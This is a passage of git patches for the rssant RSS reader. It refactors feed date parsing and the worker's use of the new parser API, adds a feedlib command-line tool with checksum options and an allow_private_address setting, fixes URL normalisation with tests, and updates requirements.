https://bugs.python.org/issue13305 if value.year < 1000: - raise Invalid('not support datetime before 1000-01-01') + raise Invalid('not support datetime before year 1000') + if value.year > 2999: + raise Invalid('not support datetime after year 2999') if output_object: return value else: diff --git a/rssant_feedlib/parser.py b/rssant_feedlib/parser.py index 3440f32..f021771 100644 --- a/rssant_feedlib/parser.py +++ b/rssant_feedlib/parser.py @@ -24,6 +24,7 @@ FeedSchema = T.dict( home_url=T.url.invalid_to_default.optional, icon_url=T.url.invalid_to_default.optional, description=T.str.maxlen(300).optional, + dt_updated=T.datetime.optional, author_name=T.str.maxlen(100).optional, author_url=T.url.invalid_to_default.optional, author_avatar_url=T.url.invalid_to_default.optional, @@ -106,6 +107,7 @@ class FeedParser: home_url=home_url, icon_url=icon_url, description=description, + dt_updated=feed['dt_updated'], author_name=author_name, author_url=author_url, author_avatar_url=author_avatar_url, diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py index b902847..480714c 100644 --- a/rssant_feedlib/raw_parser.py +++ b/rssant_feedlib/raw_parser.py @@ -30,6 +30,7 @@ RawFeedSchema = T.dict( home_url=T.str.optional, icon_url=T.str.optional, description=T.str.optional, + dt_updated=T.datetime.optional, author_name=T.str.optional, author_url=T.str.optional, author_avatar_url=T.str.optional, @@ -158,6 +159,8 @@ class RawFeedParser: # https://bugs.python.org/issue13305 if value.year < 1000: return None + if value.year > 2999: + return None return value def _extract_story(self, item): @@ -226,6 +229,7 @@ class RawFeedParser: url=response.url, home_url=feed.home_page_url, description=feed.description, + dt_updated=None, icon_url=feed.icon or feed.favicon, **self._get_json_feed_author(feed.author), ) @@ -301,6 +305,8 @@ class RawFeedParser: # extract feed info icon_url = feed.feed.get("icon") or feed.feed.get("logo") description = feed.feed.get("description") or feed.feed.get("subtitle") + dt_updated = self._get_date(feed.feed, 'dt_updated') or \ + self._get_date(feed.feed, 'dt_published') feed_info = dict( version=feed_version, title=feed_title, @@ -308,6 +314,7 @@ class RawFeedParser: home_url=self._get_feed_home_url(feed), icon_url=icon_url, description=description, + dt_updated=dt_updated, **self._get_author_info(feed.feed), ) # extract storys info -- Gitee From 5597cf9cbab3d756a680c9eac8b063d096152a44 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 21:35:47 +0800 Subject: [PATCH 14/26] fix feed date, update worker to use new parser api --- rssant_feedlib/finder.py | 6 +- rssant_feedlib/parser.py | 6 +- rssant_feedlib/raw_parser.py | 32 ++++-- rssant_worker/actors/rss.py | 205 +++++++++++++++-------------------- 4 files changed, 113 insertions(+), 136 deletions(-) diff --git a/rssant_feedlib/finder.py b/rssant_feedlib/finder.py index 0498817..dca0b20 100644 --- a/rssant_feedlib/finder.py +++ b/rssant_feedlib/finder.py @@ -245,13 +245,15 @@ class FeedFinder: self._log(str(ex)) return None if result.warnings: - self._log(f"warnings: {';'.join(result.warnings)}") + msg = f"warnings: {';'.join(result.warnings)}" + self._log(msg) + LOG.warning(msg) parser = FeedParser() result = parser.parse(result) return result def _parse_html(self, response): - text = response.content.decode(response.encoding) + text = response.content.decode(response.encoding, errors='ignore') links = self._find_links(text, response.url) # 按得分从高到低排序,取前 max_trys 个 links = list(sorted(links, key=lambda x: x.score, reverse=True)) diff --git a/rssant_feedlib/parser.py b/rssant_feedlib/parser.py index f021771..9bef72b 100644 --- a/rssant_feedlib/parser.py +++ b/rssant_feedlib/parser.py @@ -24,7 +24,7 @@ FeedSchema = T.dict( home_url=T.url.invalid_to_default.optional, icon_url=T.url.invalid_to_default.optional, description=T.str.maxlen(300).optional, - dt_updated=T.datetime.optional, + dt_updated=T.datetime.object.optional, author_name=T.str.maxlen(100).optional, author_url=T.url.invalid_to_default.optional, author_avatar_url=T.url.invalid_to_default.optional, @@ -39,8 +39,8 @@ StorySchema = T.dict( summary=T.str.maxlen(300).optional, has_mathjax=T.bool.optional, image_url=T.url.optional, - dt_published=T.datetime.optional, - dt_updated=T.datetime.optional, + dt_published=T.datetime.object.optional, + dt_updated=T.datetime.object.optional, author_name=T.str.maxlen(100).optional, author_url=T.url.invalid_to_default.optional, author_avatar_url=T.url.invalid_to_default.optional, diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py index 480714c..638765a 100644 --- a/rssant_feedlib/raw_parser.py +++ b/rssant_feedlib/raw_parser.py @@ -30,7 +30,7 @@ RawFeedSchema = T.dict( home_url=T.str.optional, icon_url=T.str.optional, description=T.str.optional, - dt_updated=T.datetime.optional, + dt_updated=T.datetime.object.optional, author_name=T.str.optional, author_url=T.str.optional, author_avatar_url=T.str.optional, @@ -44,8 +44,8 @@ RawStorySchema = T.dict( content=T.str.optional, summary=T.str.optional, image_url=T.str.optional, - dt_published=T.datetime.optional, - dt_updated=T.datetime.optional, + dt_published=T.datetime.object.optional, + dt_updated=T.datetime.object.optional, author_name=T.str.optional, author_url=T.str.optional, author_avatar_url=T.str.optional, @@ -146,14 +146,22 @@ class RawFeedParser: def _normlize_date(self, value) -> datetime.datetime: if not value: return None - if isinstance(value, list) and len(value) == 9: - value = tuple(value) - if isinstance(value, tuple): - value = datetime.datetime.fromtimestamp(time.mktime(value), tz=UTC) - elif not isinstance(value, datetime.datetime): - value = parse_datetime(value) - if value is None: - return None + try: + if isinstance(value, list) and len(value) == 9: + value = tuple(value) + if isinstance(value, tuple): + try: + timestamp = time.mktime(value) + except OverflowError: + return None + value = datetime.datetime.fromtimestamp(timestamp, tz=UTC) + elif not isinstance(value, datetime.datetime): + value = parse_datetime(value) + if value is None: + return None + except Exception as ex: + LOG.warning('normlize date failed, value=%r: %s', value, ex) + return None if not timezone.is_aware(value): value = timezone.make_aware(value, timezone=UTC) # https://bugs.python.org/issue13305 @@ -178,7 +186,7 @@ class RawFeedParser: return None story['ident'] = unique_id story['url'] = url - story['title'] = title + story['title'] = title or unique_id story['image_url'] = self._get_story_image_url(item) story['dt_published'] = self._get_date(item, 'published_parsed') story['dt_updated'] = self._get_date(item, 'updated_parsed') diff --git a/rssant_worker/actors/rss.py b/rssant_worker/actors/rss.py index bda97c4..e370574 100644 --- a/rssant_worker/actors/rss.py +++ b/rssant_worker/actors/rss.py @@ -2,7 +2,6 @@ import logging import asyncio import time from urllib.parse import unquote -from collections import deque import concurrent.futures from validr import T, Invalid @@ -11,11 +10,15 @@ from django.utils import timezone from actorlib import actor, ActorContext -from rssant_feedlib.async_reader import AsyncFeedReader, FeedResponseStatus -from rssant_feedlib import FeedFinder, FeedReader, FeedParser +from rssant_feedlib import AsyncFeedReader, FeedResponseStatus +from rssant_feedlib import ( + FeedFinder, FeedReader, + FeedParser, RawFeedParser, + RawFeedResult, FeedResponse, FeedParserError, +) from rssant_feedlib.processor import ( story_readability, story_html_to_text, story_html_clean, - story_has_mathjax, process_story_links, normlize_url, validate_url, + process_story_links ) from rssant_feedlib.blacklist import compile_url_blacklist @@ -146,27 +149,32 @@ def do_sync_feed( last_modified: T.str.optional, ): params = dict(etag=etag, last_modified=last_modified, use_proxy=use_proxy) - with FeedReader(**_get_proxy_options()) as reader: - status_code, response = reader.read(url, **params) - LOG.info(f'read feed#{feed_id} url={unquote(url)} status_code={status_code}') - if status_code != 200 or not response: + options = _get_proxy_options() + options.update(allow_private_address=CONFIG.allow_private_address) + with FeedReader(**options) as reader: + response = reader.read(url, **params) + LOG.info(f'read feed#{feed_id} url={unquote(url)} response.status={response.status}') + if response.status != 200 or not response.content: return new_hash = compute_hash_base64(response.content) if new_hash == content_hash_base64: LOG.info(f'feed#{feed_id} url={unquote(url)} not modified by compare content hash!') return LOG.info(f'parse feed#{feed_id} url={unquote(url)}') - parsed = FeedParser.parse_response(response) - if parsed.bozo: - LOG.warning(f'failed parse feed#{feed_id} url={unquote(url)}: {parsed.bozo_exception}') + try: + raw_result = RawFeedParser().parse(response) + except FeedParserError as ex: + LOG.warning(f'failed parse feed#{feed_id} url={unquote(url)}: {ex}') + return + if raw_result.warnings: + warnings = '; '.join(raw_result.warnings) + LOG.warning(f'warning parse feed#{feed_id} url={unquote(url)}: {warnings}') return try: - feed = _parse_found(parsed) + feed = _parse_found((response, raw_result)) except Invalid as ex: LOG.warning(f'invalid feed#{feed_id} url={unquote(url)}: {ex}', exc_info=ex) return - if use_proxy: - feed['use_proxy'] = use_proxy ctx.tell('harbor_rss.update_feed', dict(feed_id=feed_id, feed=feed)) @@ -178,19 +186,25 @@ async def do_fetch_story( use_proxy: T.bool.default(False), ): LOG.info(f'fetch story#{story_id} url={unquote(url)} begin') - async with AsyncFeedReader(**_get_proxy_options()) as reader: + options = _get_proxy_options() + options.update(allow_private_address=CONFIG.allow_private_address) + async with AsyncFeedReader(**options) as reader: use_proxy = use_proxy and reader.has_rss_proxy - status, response = await reader.read(url, use_proxy=use_proxy) + response = await reader.read(url, use_proxy=use_proxy) if response and response.url: url = str(response.url) - LOG.info(f'fetch story#{story_id} url={unquote(url)} status={status} finished') - if not (response and status == 200): + LOG.info(f'fetch story#{story_id} url={unquote(url)} status={response.status} finished') + if not (response and response.ok): return - if not response.rssant_text: + if not response.content: msg = 'story#%s url=%s response text is empty!' LOG.error(msg, story_id, unquote(url)) return - content = response.rssant_text + try: + content = response.content.decode(response.encoding) + except UnicodeDecodeError as ex: + LOG.warning('fetch story unicode decode error=%s url=%r', ex, url) + content = response.content.decode(response.encoding, errors='ignore') if len(content) >= 1024 * 1024: content = story_html_clean(content) if len(content) >= 1024 * 1024: @@ -241,16 +255,20 @@ async def do_detect_story_images( image_urls: T.list(T.url).unique, ): LOG.info(f'detect story images story_id={story_id} num_images={len(image_urls)} begin') - async with AsyncFeedReader(allow_non_webpage=True) as reader: + options = dict( + allow_non_webpage=True, + allow_private_address=CONFIG.allow_private_address, + ) + async with AsyncFeedReader(**options) as reader: async def _read(url): if is_referer_deny_url(url): return url, FeedResponseStatus.REFERER_DENY.value - status, response = await reader.read( + response = await reader.read( url, referer="https://rss.anyant.com/", ignore_content=True ) - return url, status + return url, response.status futs = [] for url in image_urls: futs.append(asyncio.ensure_future(_read(url))) @@ -278,110 +296,59 @@ async def do_detect_story_images( )) -def _parse_found(parsed): +def _parse_found(found): + response: FeedResponse + raw_result: RawFeedResult + response, raw_result = found feed = AttrDict() - res = parsed.response - feed.use_proxy = parsed.use_proxy - feed.url = _get_url(res) - feed.content_length = len(res.content) - feed.content_hash_base64 = compute_hash_base64(res.content) - parsed_feed = parsed.feed - feed.title = shorten(parsed_feed["title"], 200) - link = parsed_feed["link"] - if not link.startswith('http'): - # 有些link属性不是URL,用author_detail的href代替 - # 例如:'http://www.cnblogs.com/grenet/' - author_detail = parsed_feed['author_detail'] - if author_detail: - link = author_detail['href'] - if not link.startswith('http'): - link = feed.url - feed.link = link - feed.author = shorten(parsed_feed["author"], 200) - feed.icon = parsed_feed["icon"] or parsed_feed["logo"] - feed.description = parsed_feed["description"] or parsed_feed["subtitle"] - feed.dt_updated = _get_dt_updated(parsed_feed) - feed.etag = _get_etag(res) - feed.last_modified = _get_last_modified(res) - feed.encoding = res.encoding - feed.version = shorten(parsed.version, 200) - entries = list(parsed.entries) # entries will be modified by _get_storys - del parsed, res, parsed_feed # release memory in advance - feed.storys = _get_storys(entries) + + # feed response + feed.use_proxy = response.use_proxy + feed.url = response.url + feed.content_length = len(response.content) + feed.content_hash_base64 = compute_hash_base64(response.content) + feed.etag = response.etag + feed.last_modified = response.last_modified + feed.encoding = response.encoding + del found, response # release memory in advance + + # parse feed and storys + result = FeedParser().parse(raw_result) + del raw_result # release memory in advance + + feed.title = result.feed['title'] + feed.link = result.feed['home_url'] + feed.author = result.feed['author_name'] + feed.icon = result.feed['icon_url'] + feed.description = result.feed['description'] + feed.dt_updated = result.feed['dt_updated'] + feed.version = result.feed['version'] + feed.storys = _get_storys(result.storys) + del result # release memory in advance + return validate_feed(feed) def _get_storys(entries: list): - storys = deque(maxlen=300) # limit num storys - while entries: - data = entries.pop() + storys = [] + now = timezone.now() + for data in entries: story = {} - content = '' - if data["content"]: - # both content and summary will in content list, peek the longest - for x in data["content"]: - value = x["value"] - if value and len(value) > len(content): - content = value - if not content: - content = data["description"] - if not content: - content = data["summary"] - story['has_mathjax'] = story_has_mathjax(content) - link = normlize_url(data["link"]) - valid_link = '' - if link: - try: - valid_link = validate_url(link) - except Invalid: - LOG.warning(f'invalid story link {link!r}') - story['link'] = valid_link - content = story_html_clean(content) - if len(content) >= 1024 * 1024: - msg = 'too large story link=%r content length=%s, will only save plain text!' - LOG.warning(msg, link, len(content)) - content = story_html_to_text(content) - content = process_story_links(content, valid_link) - story['content'] = content - summary = data["summary"] - if not summary: - summary = content - summary = shorten(story_html_to_text(summary), width=300) + content = data['content'] + summary = data['summary'] + title = data['title'] + story['has_mathjax'] = data['has_mathjax'] + story['link'] = data['url'] story['summary'] = summary - title = shorten(data["title"] or link or summary, 200) - unique_id = shorten(data['id'] or link or title, 200) + story['content'] = content content_hash_base64 = compute_hash_base64(content, summary, title) story['title'] = title story['content_hash_base64'] = content_hash_base64 - story['unique_id'] = unique_id - story['author'] = shorten(data["author"], 200) - story['dt_published'] = _get_dt_published(data) - story['dt_updated'] = _get_dt_updated(data) + story['unique_id'] = data['ident'] + story['author'] = data["author_name"] + dt_published = data['dt_published'] + dt_updated = data['dt_updated'] + story['dt_published'] = min(dt_published or dt_updated or now, now) + story['dt_updated'] = min(dt_updated or dt_published or now, now) storys.append(story) - return list(storys) - - -def _get_etag(response): - return response.headers.get("ETag") - - -def _get_last_modified(response): - return response.headers.get("Last-Modified") - - -def _get_url(response): - return response.url - - -def _get_dt_published(data, default=None): - t = data["published_parsed"] or data["updated_parsed"] or default - if t and t > timezone.now(): - t = default - return t - - -def _get_dt_updated(data, default=None): - t = data["updated_parsed"] or data["published_parsed"] or default - if t and t > timezone.now(): - t = default - return t + return storys -- Gitee From a0953bc5ec8c655a9776956ba005faef51e58767 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 23:24:03 +0800 Subject: [PATCH 15/26] add feedlib cli, fix normalize url, add allow_private_address to feed finder --- rssant_feedlib/cli.py | 201 +++++++++++++++--- rssant_feedlib/finder.py | 8 +- rssant_feedlib/parser.py | 2 +- rssant_feedlib/processor.py | 11 +- rssant_feedlib/raw_parser.py | 4 +- rssant_feedlib/reader.py | 2 +- rssant_feedlib/response.py | 3 +- rssant_worker/actors/rss.py | 1 + .../{processor.py => processor}/__init__.py | 0 .../test_normalize_url.txt | 0 .../test_processor.py | 13 ++ .../test_sample.html | 0 12 files changed, 199 insertions(+), 46 deletions(-) rename tests/feedlib/{processor.py => processor}/__init__.py (100%) rename tests/feedlib/{processor.py => processor}/test_normalize_url.txt (100%) rename tests/feedlib/{processor.py => processor}/test_processor.py (81%) rename tests/feedlib/{processor.py => processor}/test_sample.html (100%) diff --git a/rssant_feedlib/cli.py b/rssant_feedlib/cli.py index c933879..4929767 100644 --- a/rssant_feedlib/cli.py +++ b/rssant_feedlib/cli.py @@ -1,16 +1,22 @@ -import json import logging +import os +import json import click -from django.core.serializers.json import DjangoJSONEncoder +import slugify from pyinstrument import Profiler +from rssant_common.helper import pretty_format_json +from rssant_api.helper import shorten + from .finder import FeedFinder +from .raw_parser import RawFeedParser +from .parser import FeedParser from .reader import FeedReader +from .response import FeedResponse, FeedContentType -def json_pretty(data): - return json.dumps(data, cls=DjangoJSONEncoder, indent=4, ensure_ascii=False) +LOG = logging.getLogger(__name__) @click.group() @@ -21,49 +27,180 @@ def cli(): ) -def _do_find(url, max_trys, raw, no_content, allow_private_address): +class Printer: + def __init__(self, supress=False): + self.supress = supress + + def __call__(self, *args, **kwargs): + if not self.supress: + print(*args, **kwargs) + + +class ProfilerContext: + def __init__(self, profile=False): + self.profile = profile + self.profiler = None + + def __enter__(self): + if self.profile: + self.profiler = profiler = Profiler() + profiler.start() + + def __exit__(self, *args): + if self.profile: + self.profiler.stop() + print(self.profiler.output_text(unicode=True, color=True)) + + +def _normalize_path(p): + return os.path.abspath(os.path.expanduser(p)) + + +def _do_find(url, max_trys, allow_private_address, printer): def message_handler(msg): print(msg) - def output(msg): - if not no_content: - print(msg) + finder = FeedFinder( + url, max_trys=max_trys, + allow_private_address=allow_private_address, + message_handler=message_handler, + ) + with finder: + found = finder.find() + if found: + response, raw_result = found + printer('-> {}'.format(response)) + result = FeedParser().parse(raw_result) + printer("-> {}".format(result)) + printer('-' * 79) + printer(pretty_format_json(result.feed)) + for i, story in enumerate(result.storys): + printer('{:03d}{}'.format(i, '-' * 76)) + story['content'] = shorten(story['content'], 60) + story['summary'] = shorten(story['summary'], 60) + printer(pretty_format_json(story)) + + +def _do_parse(url: str, printer, allow_private_address): + if not url.startswith('http://') and not url.startswith('https://'): + response = _read_local_response(url) + print('-> {}'.format(response)) + else: + reader = FeedReader(allow_private_address=allow_private_address) + with reader: + response = reader.read(url) + print('-> {}'.format(response)) + if not response.ok: + return + raw_result = RawFeedParser().parse(response) + if raw_result.warnings: + print('Warning: ' + '; '.join(raw_result.warnings)) + result = FeedParser().parse(raw_result) + print("-> {}".format(result)) + printer('-' * 79) + printer(pretty_format_json(result.feed)) + for i, story in enumerate(result.storys): + printer('{:03d}{}'.format(i, '-' * 76)) + story['content'] = shorten(story['content'], 60) + story['summary'] = shorten(story['summary'], 60) + printer(pretty_format_json(story)) + +def _do_save(url, output_dir, allow_private_address): + if not output_dir: + output_dir = os.getcwd() reader = FeedReader(allow_private_address=allow_private_address) with reader: - finder = FeedFinder( - url, reader=reader, max_trys=max_trys, - message_handler=message_handler, validate=not raw) - with finder: - result = finder.find() - if result: - output(f"Got: " + str(result.feed)[:300] + "\n") - output('-' * 79) - output(json_pretty(result.feed)) - for i, story in enumerate(result.entries): - output('{:03d}{}'.format(i, '-' * 76)) - output(json_pretty(story)) + response = reader.read(url) + print(f'-> {response}') + filename = slugify.slugify(url) + meta_filename = filename + '.feed.json' + if not response.ok or not response.content: + return + if response.feed_type.is_json: + filename += '.json' + elif response.feed_type.is_html: + filename += '.html' + elif response.feed_type.is_xml: + filename += '.xml' + else: + filename += '.txt' + meta = dict( + filename=filename, + url=response.url, + status=response.status, + encoding=response.encoding, + content_length=len(response.content), + feed_type=response.feed_type.value, + mime_type=response.mime_type, + use_proxy=response.use_proxy, + etag=response.etag, + last_modified=response.last_modified, + ) + meta_filepath = _normalize_path(os.path.join(output_dir, meta_filename)) + print(f'-> save {meta_filepath}') + with open(meta_filepath, 'w') as f: + f.write(pretty_format_json(meta)) + os.makedirs(output_dir, exist_ok=True) + filepath = _normalize_path(os.path.join(output_dir, filename)) + print(f'-> save {filepath}') + with open(filepath, 'wb') as f: + f.write(response.content) + + +def _read_local_response(meta_filepath) -> FeedResponse: + with open(meta_filepath) as f: + meta = json.load(f) + filename = meta['filename'] + filepath = os.path.join(os.path.dirname(meta_filepath), filename) + with open(filepath, 'rb') as f: + content = f.read() + response = FeedResponse( + url=meta['url'], + status=meta['status'], + content=content, + encoding=meta['encoding'], + feed_type=FeedContentType(meta['feed_type']), + mime_type=meta['mime_type'], + use_proxy=meta['use_proxy'], + etag=meta['etag'], + last_modified=meta['last_modified'], + ) + return response @cli.command() @click.argument('url') @click.option('--max-trys', type=int, default=10, help='Max trys') -@click.option('--raw', is_flag=True, help='Return raw feed, not validate') @click.option('--no-content', is_flag=True, help='Do not print feed content') @click.option('--profile', is_flag=True, help='Run pyinstrument profile') @click.option('--allow-private-address', is_flag=True, help='Allow private address') -def find(url, max_trys, raw=False, no_content=False, profile=False, allow_private_address=False): - if profile: - no_content = True - profiler = Profiler() - profiler.start() - try: - _do_find(url, max_trys, raw, no_content, allow_private_address=allow_private_address) - finally: - if profile: - profiler.stop() - print(profiler.output_text(unicode=True, color=True)) +def find(url, max_trys, no_content=False, profile=False, allow_private_address=False): + printer = Printer(profile or no_content) + with ProfilerContext(profile): + _do_find(url, max_trys, printer=printer, allow_private_address=allow_private_address) + + +@cli.command() +@click.argument('url') +@click.option('--output-dir', help='output dir') +@click.option('--profile', is_flag=True, help='Run pyinstrument profile') +@click.option('--allow-private-address', is_flag=True, help='Allow private address') +def save(url, profile=False, output_dir=None, allow_private_address=False): + with ProfilerContext(profile): + _do_save(url, output_dir=output_dir, allow_private_address=allow_private_address) + + +@cli.command() +@click.argument('url') +@click.option('--no-content', is_flag=True, help='Do not print feed content') +@click.option('--profile', is_flag=True, help='Run pyinstrument profile') +@click.option('--allow-private-address', is_flag=True, help='Allow private address') +def parse(url, no_content=False, profile=False, allow_private_address=False): + printer = Printer(profile or no_content) + with ProfilerContext(profile): + _do_parse(url, printer=printer, allow_private_address=allow_private_address) if __name__ == "__main__": diff --git a/rssant_feedlib/finder.py b/rssant_feedlib/finder.py index dca0b20..e71cd09 100644 --- a/rssant_feedlib/finder.py +++ b/rssant_feedlib/finder.py @@ -176,7 +176,7 @@ class FeedFinder: message_handler=None, max_trys=10, reader=None, - validate=True, + allow_private_address=False, rss_proxy_url=None, rss_proxy_token=None, ): @@ -186,12 +186,14 @@ class FeedFinder: self.max_trys = max_trys if reader is None: reader = FeedReader( - rss_proxy_url=rss_proxy_url, rss_proxy_token=rss_proxy_token) + allow_private_address=allow_private_address, + rss_proxy_url=rss_proxy_url, + rss_proxy_token=rss_proxy_token, + ) self._close_reader = True else: self._close_reader = False self.reader = reader - self.validate = validate self._links = {start_url: ScoredLink(start_url, 1.0)} self._visited = set() diff --git a/rssant_feedlib/parser.py b/rssant_feedlib/parser.py index 9bef72b..f9f2d2a 100644 --- a/rssant_feedlib/parser.py +++ b/rssant_feedlib/parser.py @@ -125,7 +125,7 @@ class FeedParser: def _parse_story(self, story: dict, feed_url: str): ident = story['ident'][:200] title = story_html_to_text(story['title'])[:200] - url = normlize_url(story['url'], base_url=feed_url) + url = normlize_url(story['url'] or story['ident'], base_url=feed_url) try: valid_url = validate_url(url) except Invalid: diff --git a/rssant_feedlib/processor.py b/rssant_feedlib/processor.py index fbca4dd..6d5c40f 100644 --- a/rssant_feedlib/processor.py +++ b/rssant_feedlib/processor.py @@ -170,13 +170,12 @@ def normlize_url(url: str, base_url: str = None): # ignore urn: or magnet: if re.match(r'^[a-zA-Z0-9]+:', url): return url - # ignore simple texts - if not re.match(r'^[a-zA-Z0-9]+(\.|\:|\/)', url): - return url - if url.startswith('/'): - if base_url: - url = urljoin(base_url, url) + if base_url: + url = urljoin(base_url, url) else: + # ignore simple texts + if not re.match(r'^(\.|\:|\/)?[a-zA-Z0-9\/]+(\.|\:|\/)', url): + return url url = 'http://' + url # fix: http://www.example.comhttp://www.example.com/hello if url.count('://') >= 2: diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py index 638765a..a2124eb 100644 --- a/rssant_feedlib/raw_parser.py +++ b/rssant_feedlib/raw_parser.py @@ -97,8 +97,8 @@ class RawFeedParser: self._validate = validate def _get_feed_home_url(self, feed: feedparser.FeedParserDict) -> str: - link = feed.feed.get("link") - if not link.startswith('http'): + link = feed.feed.get("link") or '' + if not link.startswith('http') and not link.startswith('/'): # 有些link属性不是URL,用author_detail的href代替 # 例如:'http://www.cnblogs.com/grenet/' author_detail = feed.feed.get('author_detail') diff --git a/rssant_feedlib/reader.py b/rssant_feedlib/reader.py index c400a58..1765fbb 100644 --- a/rssant_feedlib/reader.py +++ b/rssant_feedlib/reader.py @@ -54,7 +54,7 @@ class RSSProxyError(FeedReaderError): RE_WEBPAGE_CONTENT_TYPE = re.compile( - r'(text/html|application/xml|text/xml|application/json|' + r'(text/html|application/xml|text/xml|text/plain|application/json|' r'application/.*xml|application/.*json|text/.*xml)', re.I) diff --git a/rssant_feedlib/response.py b/rssant_feedlib/response.py index 18d6f83..67aaf9a 100644 --- a/rssant_feedlib/response.py +++ b/rssant_feedlib/response.py @@ -127,9 +127,10 @@ class FeedResponse: def __repr__(self): name = type(self).__name__ length = len(self._content) if self._content else 0 + status_name = FeedResponseStatus.name_of(self.status) feed_type = self._feed_type.value if self._feed_type else None return ( - f'<{name} {self.status} url={self.url!r} length={length} ' + f'<{name} {self.status} {status_name} url={self.url!r} length={length} ' f'encoding={self.encoding!r} feed_type={feed_type!r}>' ) diff --git a/rssant_worker/actors/rss.py b/rssant_worker/actors/rss.py index e370574..e4932f3 100644 --- a/rssant_worker/actors/rss.py +++ b/rssant_worker/actors/rss.py @@ -124,6 +124,7 @@ def do_find_feed( messages.append(msg) options = dict(message_handler=message_handler, **_get_proxy_options()) + options.update(allow_private_address=CONFIG.allow_private_address) with FeedFinder(url, **options) as finder: found = finder.find() try: diff --git a/tests/feedlib/processor.py/__init__.py b/tests/feedlib/processor/__init__.py similarity index 100% rename from tests/feedlib/processor.py/__init__.py rename to tests/feedlib/processor/__init__.py diff --git a/tests/feedlib/processor.py/test_normalize_url.txt b/tests/feedlib/processor/test_normalize_url.txt similarity index 100% rename from tests/feedlib/processor.py/test_normalize_url.txt rename to tests/feedlib/processor/test_normalize_url.txt diff --git a/tests/feedlib/processor.py/test_processor.py b/tests/feedlib/processor/test_processor.py similarity index 81% rename from tests/feedlib/processor.py/test_processor.py rename to tests/feedlib/processor/test_processor.py index a16044b..5cf4319 100644 --- a/tests/feedlib/processor.py/test_processor.py +++ b/tests/feedlib/processor/test_processor.py @@ -58,3 +58,16 @@ def test_normalize_url(): for url, expect in cases: norm = normlize_url(url) assert norm == expect, f'url={url!r} normlize={norm!r} expect={expect!r}' + + +def test_normalize_base_url(): + base_url = 'http://blog.example.com/feed.xml' + url = '/post/123.html' + r = normlize_url(url, base_url=base_url) + assert r == 'http://blog.example.com/post/123.html' + url = 'post/123.html' + r = normlize_url(url, base_url=base_url) + assert r == 'http://blog.example.com/post/123.html' + url = '/' + r = normlize_url(url, base_url=base_url) + assert r == 'http://blog.example.com/' diff --git a/tests/feedlib/processor.py/test_sample.html b/tests/feedlib/processor/test_sample.html similarity index 100% rename from tests/feedlib/processor.py/test_sample.html rename to tests/feedlib/processor/test_sample.html -- Gitee From 2258fb3e5b968750d2a6bb1577e96eff288b27a3 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 23:39:54 +0800 Subject: [PATCH 16/26] add checksum to feedlib cli --- rssant_feedlib/cli.py | 29 +++++++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) diff --git a/rssant_feedlib/cli.py b/rssant_feedlib/cli.py index 4929767..a265f30 100644 --- a/rssant_feedlib/cli.py +++ b/rssant_feedlib/cli.py @@ -14,6 +14,7 @@ from .raw_parser import RawFeedParser from .parser import FeedParser from .reader import FeedReader from .response import FeedResponse, FeedContentType +from .feed_checksum import FeedChecksum LOG = logging.getLogger(__name__) @@ -82,7 +83,7 @@ def _do_find(url, max_trys, allow_private_address, printer): printer(pretty_format_json(story)) -def _do_parse(url: str, printer, allow_private_address): +def _do_parse(url: str, printer, allow_private_address, checksum, save_checksum): if not url.startswith('http://') and not url.startswith('https://'): response = _read_local_response(url) print('-> {}'.format(response)) @@ -93,10 +94,17 @@ def _do_parse(url: str, printer, allow_private_address): print('-> {}'.format(response)) if not response.ok: return + if checksum: + with open(checksum, 'rb') as f: + data = f.read() + checksum = FeedChecksum.load(data) + print('-> {}'.format(checksum)) + else: + checksum = None raw_result = RawFeedParser().parse(response) if raw_result.warnings: print('Warning: ' + '; '.join(raw_result.warnings)) - result = FeedParser().parse(raw_result) + result = FeedParser(checksum=checksum).parse(raw_result) print("-> {}".format(result)) printer('-' * 79) printer(pretty_format_json(result.feed)) @@ -105,6 +113,11 @@ def _do_parse(url: str, printer, allow_private_address): story['content'] = shorten(story['content'], 60) story['summary'] = shorten(story['summary'], 60) printer(pretty_format_json(story)) + if save_checksum: + print('-> save {}'.format(save_checksum)) + data = result.checksum.dump() + with open(save_checksum, 'wb') as f: + f.write(data) def _do_save(url, output_dir, allow_private_address): @@ -197,10 +210,18 @@ def save(url, profile=False, output_dir=None, allow_private_address=False): @click.option('--no-content', is_flag=True, help='Do not print feed content') @click.option('--profile', is_flag=True, help='Run pyinstrument profile') @click.option('--allow-private-address', is_flag=True, help='Allow private address') -def parse(url, no_content=False, profile=False, allow_private_address=False): +@click.option('--save-checksum', help='save checksum') +@click.option('--checksum', help='feed checksum') +def parse( + url, no_content=False, profile=False, allow_private_address=False, + save_checksum=None, checksum=None, +): printer = Printer(profile or no_content) with ProfilerContext(profile): - _do_parse(url, printer=printer, allow_private_address=allow_private_address) + _do_parse( + url, printer=printer, allow_private_address=allow_private_address, + save_checksum=save_checksum, checksum=checksum, + ) if __name__ == "__main__": -- Gitee From cccf403ccca371681f1250b4cb740fd11a78b8d3 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 23:48:39 +0800 Subject: [PATCH 17/26] update requirements --- requirements.txt | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/requirements.txt b/requirements.txt index 77a28a7..49c2ac0 100644 --- a/requirements.txt +++ b/requirements.txt @@ -10,8 +10,9 @@ aiohttp-devtools==0.13.1 # via -r requirements.in aiohttp==3.6.2 # via -r requirements.in, aiohttp-devtools, aiojobs aiojobs==0.2.2 # via -r requirements.in async-timeout==3.0.1 # via aiohttp +atoma==0.0.17 # via -r requirements.in attrdict==2.0.1 # via -r requirements.in -attrs==19.3.0 # via aiohttp, pytest +attrs==19.3.0 # via aiohttp, atoma, pytest autopep8==1.5 # via -r requirements.in beautifulsoup4==4.8.2 # via -r requirements.in, bs4, pynliner brotli==1.0.7 # via -r requirements.in @@ -30,7 +31,7 @@ coverage==4.5.4 # via -r requirements.in, pytest-cov cssselect==1.1.0 # via readability-lxml cssutils==1.0.2 # via pynliner decorator==4.4.0 # via validators -defusedxml==0.6.0 # via python3-openid +defusedxml==0.6.0 # via atoma, python3-openid devtools==0.5.1 # via 